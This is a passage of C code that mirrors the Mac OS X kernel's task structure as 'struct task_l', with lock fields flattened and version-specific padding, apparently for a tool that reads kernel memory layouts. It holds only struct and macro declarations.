102 | void *user_data; /* Arbitrary data settable via IPC */
103 |
104 | /* Threads in this task */
105 | queue_head_t threads;
106 |
107 | processor_set_t pset_hint;
108 | struct affinity_space *affinity_space;
109 |
110 | int thread_count;
111 | uint32_t active_thread_count;
112 | int suspend_count; /* Internal scheduling only */
113 |
114 | /* User-visible scheduling information */
115 | integer_t user_stop_count; /* outstanding stops */
116 |
117 | task_role_t role;
118 |
119 | integer_t priority; /* base priority for threads */
120 | integer_t max_priority; /* maximum priority for threads */
121 |
122 | /* Task security and audit tokens */
123 | security_token_t sec_token;
124 | audit_token_t audit_token;
125 |
126 | /* Statistics */
127 | uint64_t total_user_time; /* terminated threads only */
128 | uint64_t total_system_time;
129 |
130 | /* Virtual timers */
131 | uint32_t vtimers;
132 |
133 | /* IPC structures */
134 | //decl_lck_mtx_data(,itk_lock_data)
135 | uint32_t itk_lock_data[1];
136 | struct ipc_port *itk_self; /* not a right, doesn't hold ref */
137 | struct ipc_port *itk_nself; /* not a right, doesn't hold ref */
138 | struct ipc_port *itk_sself; /* a send right */
139 | struct exception_action exc_actions[EXC_TYPES_COUNT];
140 | /* a send right each valid element */
141 | struct ipc_port *itk_host; /* a send right */
142 | struct ipc_port *itk_bootstrap; /* a send right */
143 | struct ipc_port *itk_seatbelt; /* a send right */
144 | struct ipc_port *itk_gssd; /* yet another send right */
145 | struct ipc_port *itk_task_access; /* and another send right */
146 | struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
147 | /* all send rights */
148 |
149 | struct ipc_space *itk_space;
150 |
151 | /* Synchronizer ownership information */
152 | queue_head_t semaphore_list; /* list of owned semaphores */
153 | queue_head_t lock_set_list; /* list of owned lock sets */
154 | int semaphores_owned; /* number of semaphores owned */
155 | int lock_sets_owned; /* number of lock sets owned */
156 |
157 | /* Ledgers */
158 | struct ipc_port *wired_ledger_port;
159 | struct ipc_port *paged_ledger_port;
160 | unsigned int priv_flags; /* privilege resource flags */
161 | #define VM_BACKING_STORE_PRIV 0x1
162 |
163 | MACHINE_TASK
164 |
165 | integer_t faults; /* faults counter */
166 | integer_t pageins; /* pageins counter */
167 | integer_t cow_faults; /* copy on write fault counter */
168 | integer_t messages_sent; /* messages sent counter */
169 | integer_t messages_received; /* messages received counter */
170 | integer_t syscalls_mach; /* mach system call counter */
171 | integer_t syscalls_unix; /* unix system call counter */
172 | uint32_t c_switch; /* total context switches */
173 | uint32_t p_switch; /* total processor switches */
174 | uint32_t ps_switch; /* total pset switches */
175 | //#ifdef MACH_BSD
176 | uint32_t pad1;
177 | uint32_t pad2;
178 |
179 | void *bsd_info;
180 | //#endif
181 | struct vm_shared_region *shared_region;
182 | uint32_t taskFeatures[2]; /* Special feature for this task */
183 | #define tf64BitAddr 0x80000000 /* Task has 64-bit addressing */
184 | #define tf64BitData 0x40000000 /* Task has 64-bit data registers */
185 | #define task_has_64BitAddr(task) \
186 | (((task)->taskFeatures[0] & tf64BitAddr) != 0)
187 | #define task_set_64BitAddr(task) \
188 | ((task)->taskFeatures[0] |= tf64BitAddr)
189 | #define task_clear_64BitAddr(task) \
190 | ((task)->taskFeatures[0] &= ~tf64BitAddr)
191 |
192 | mach_vm_address_t all_image_info_addr; /* dyld __all_image_info */
193 | mach_vm_size_t all_image_info_size; /* section location and size */
194 | #if CONFIG_MACF_MACH
195 | ipc_labelh_t label;
196 | #endif
197 |
198 | //#if CONFIG_COUNTERS
199 | #define TASK_PMC_FLAG 0x1 /* Bit in "t_chud" signifying PMC interest */
200 | uint32_t t_chud; /* CHUD flags, used for Shark */
201 | //#endif
202 | };
203 |
204 | struct task_l {
205 | /* Synchronization/destruction information */
206 | //decl_lck_mtx_data(,lock) /* Task's lock */
207 | //lck_mtx_t *lock;
208 | uint32_t lock;
209 | uint32_t pad_lock; // leopard/snow padding
210 |
211 | uint32_t ref_count; /* Number of references to me */
212 | boolean_t active; /* Task has not been terminated */
213 | boolean_t halting; /* Task is being halted */
214 |
215 | /* Miscellaneous */
216 | vm_map_t map; /* Address space description */
217 |
218 | queue_chain_t tasks; /* global list of tasks */
219 | void *user_data; /* Arbitrary data settable via IPC */
220 |
221 | /* Threads in this task */
222 | queue_head_t threads;
223 |
224 | processor_set_t pset_hint;
225 | struct affinity_space *affinity_space;
226 |
227 | int thread_count;
228 | uint32_t active_thread_count;
229 | int suspend_count; /* Internal scheduling only */
230 |
231 | /* User-visible scheduling information */
232 | integer_t user_stop_count; /* outstanding stops */
233 |
234 | task_role_t role;
235 |
236 | integer_t priority; /* base priority for threads */
237 | integer_t max_priority; /* maximum priority for threads */
238 |
239 | /* Task security and audit tokens */
240 | security_token_t sec_token;
241 | audit_token_t audit_token;
242 |
243 | /* Statistics */
244 | uint64_t total_user_time; /* terminated threads only */
245 | uint64_t total_system_time;
246 |
247 | /* Virtual timers */
248 | uint32_t vtimers;
249 |
250 | /* IPC structures */
251 | //decl_lck_mtx_data(,itk_lock_data)
252 | uint32_t itk_lock_data[1];
253 | struct ipc_port *itk_self; /* not a right, doesn't hold ref */
254 | struct ipc_port *itk_nself; /* not a right, doesn't hold ref */
255 | struct ipc_port *itk_sself; /* a send right */
256 | struct exception_action exc_actions[EXC_TYPES_COUNT];
257 | /* a send right each valid element */
258 | struct ipc_port *itk_host; /* a send right */
259 | struct ipc_port *itk_bootstrap; /* a send right */
260 | struct ipc_port *itk_seatbelt; /* a send right */
261 | struct ipc_port *itk_gssd; /* yet another send right */
262 | struct ipc_port *itk_task_access; /* and another send right */
263 | struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
264 | /* all send rights */
265 |
266 | struct ipc_space *itk_space;
267 |
268 | /* Synchronizer ownership information */
269 | queue_head_t semaphore_list; /* list of owned semaphores */
270 | queue_head_t lock_set_list; /* list of owned lock sets */
271 | int semaphores_owned; /* number of semaphores owned */
272 | int lock_sets_owned; /* number of lock sets owned */
273 |
274 | /* Ledgers */
275 | struct ipc_port *wired_ledger_port;
276 | struct ipc_port *paged_ledger_port;
277 | unsigned int priv_flags; /* privilege resource flags */
278 | #define VM_BACKING_STORE_PRIV 0x1
279 |
280 | MACHINE_TASK
281 |
282 | integer_t faults; /* faults counter */
283 | integer_t pageins; /* pageins counter */
284 | integer_t cow_faults; /* copy on write fault counter */
285 | integer_t messages_sent; /* messages sent counter */
286 | integer_t messages_received; /* messages received counter */
287 | integer_t syscalls_mach; /* mach system call counter */
288 | integer_t syscalls_unix; /* unix system call counter */
289 | uint32_t c_switch; /* total context switches */
290 | uint32_t p_switch; /* total processor switches */
291 | uint32_t ps_switch; /* total pset switches */
292 | //#ifdef MACH_BSD
293 | uint32_t pad1;
294 | uint32_t pad2;
295 |
296 | void *bsd_info;
297 | //#endif
298 | struct vm_shared_region *shared_region;
299 | uint32_t taskFeatures[2]; /* Special feature for this task */
300 | #define tf64BitAddr 0x80000000 /* Task has 64-bit addressing */
301 | #define tf64BitData 0x40000000 /* Task has 64-bit data registers */
302 | #define task_has_64BitAddr(task) \
303 | (((task)->taskFeatures[0] & tf64BitAddr) != 0)
304 | #define task_set_64BitAddr(task) \
305 | ((task)->taskFeatures[0] |= tf64BitAddr)
306 | #define task_clear_64BitAddr(task) \
307 | ((task)->taskFeatures[0] &= ~tf64BitAddr)
308 |
309 | mach_vm_address_t all_image_info_addr; /* dyld __all_image_info */
310 | mach_vm_size_t all_image_info_size; /* section location and size */
311 | #if CONFIG_MACF_MACH
312 | ipc_labelh_t label;
313 | #endif
314 |
315 | //#if CONFIG_COUNTERS
316 | #define TASK_PMC_FLAG 0x1 /* Bit in "t_chud" signifying PMC interest */
317 | uint32_t t_chud; /* CHUD flags, used for Shark */
318 | //#endif
319 | };
320 |
321 | //typedef struct task_sl *task_sl_t;
322 | typedef struct task_l *task_l_t;
--------------------------------------------------------------------------------